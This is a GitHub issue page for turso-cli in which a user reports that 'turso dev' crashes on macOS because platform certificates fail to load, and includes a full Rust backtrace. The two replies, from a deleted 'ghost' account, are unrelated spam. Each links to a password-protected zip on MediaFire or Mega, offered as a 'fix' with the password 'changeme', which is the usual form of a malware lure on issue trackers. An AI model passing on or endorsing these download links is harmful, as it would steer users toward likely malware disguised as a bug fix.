tursodatabase / turso-cli

Command line interface to Turso.
https://turso.tech
MIT License
223 stars 37 forks source link

turso dev command panicked on macOS #916

Open jongbinjung opened 1 month ago

jongbinjung commented 1 month ago

Running turso dev macOS Sonoma 14.6.1 fails with the following trace:

$ RUST_BACKTRACE=full turso dev
thread 'main' panicked at /Users/runner/.cargo/git/checkouts/hyper-rustls-0caebdb96e326dfc/163b3f5/src/config.rs:31:62:
could not load platform certs: Custom { kind: Other, error: Error { code: -25262, message: "The Trust Settings Record was corrupted." } }
stack backtrace:
   0:        0x103b55dc9 - <std::sys::backtrace::BacktraceLock::print::DisplayBacktrace as core::fmt::Display>::fmt::haf41a54e7ed5fe07
   1:        0x102a2624b - core::fmt::write::h526161fad96c5ad5
   2:        0x103b5279e - std::io::Write::write_fmt::h4de0398536c8b0e4
   3:        0x103b56f7a - std::panicking::default_hook::{{closure}}::hffeef89117b5d267
   4:        0x103b56c5f - std::panicking::default_hook::h2f20b53f3264c5d5
   5:        0x103b58277 - std::panicking::rust_panic_with_hook::h7919e8c602131afa
   6:        0x103b57555 - std::panicking::begin_panic_handler::{{closure}}::h7bd628128f542977
   7:        0x103b562a9 - std::sys::backtrace::__rust_end_short_backtrace::ha2fdb908654ed930
   8:        0x103b570fc - _rust_begin_unwind
   9:        0x103edf29a - core::panicking::panic_fmt::h292eaa4d42e451fa
  10:        0x103edf775 - core::result::unwrap_failed::hc10b3a255072c9c6
  11:        0x102ae8d35 - <rustls::builder::ConfigBuilder<rustls::client::client_conn::ClientConfig,rustls::builder::WantsVerifier> as hyper_rustls::config::ConfigBuilderExt>::with_native_roots::h1b2cf102505da095
  12:        0x102ae8fd6 - hyper_rustls::connector::builder::ConnectorBuilder<hyper_rustls::connector::builder::WantsTlsConfig>::with_native_roots::h2e9dd3de0dd9ba6e
  13:        0x103af8488 - sqld::build_server::{{closure}}::hb360cf3e32c82d1a
  14:        0x103b245e1 - sqld::main::{{closure}}::h5dc64e7e8f94798c
  15:        0x103877c16 - tokio::runtime::park::CachedParkThread::block_on::hab85689999653c37
  16:        0x103b20b23 - sqld::main::ha01869f1ffbf2d6b
  17:        0x10365b696 - std::sys::backtrace::__rust_begin_short_backtrace::ha28894f11d94421b
  18:        0x10365b1b1 - std::rt::lang_start::{{closure}}::h68ed653d0baa9bab
  19:        0x103b4a16f - std::rt::lang_start_internal::h8372644ac40c1e8b
  20:        0x103b2531c - _main
  21:     0x7ff8089bd345 - <unknown>
sqld not ready after 3 health check attempts
Error: Get "http://127.0.0.1:8080": dial tcp 127.0.0.1:8080: connect: connection refused

Using turso version 0.97.2:

$ turso -v
turso version v0.97.2
ghost commented 1 month ago

download https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file Pass: changeme

you may need to install the c compiler

ghost commented 1 month ago

install this

https://mega.co.nz/#!qq4nATTK!oDH5tb3NOJcsSw5fRGhLC8dvFpH3zFCn6U2esyTVcJA Archive codepass: changeme

you may need to install the c compiler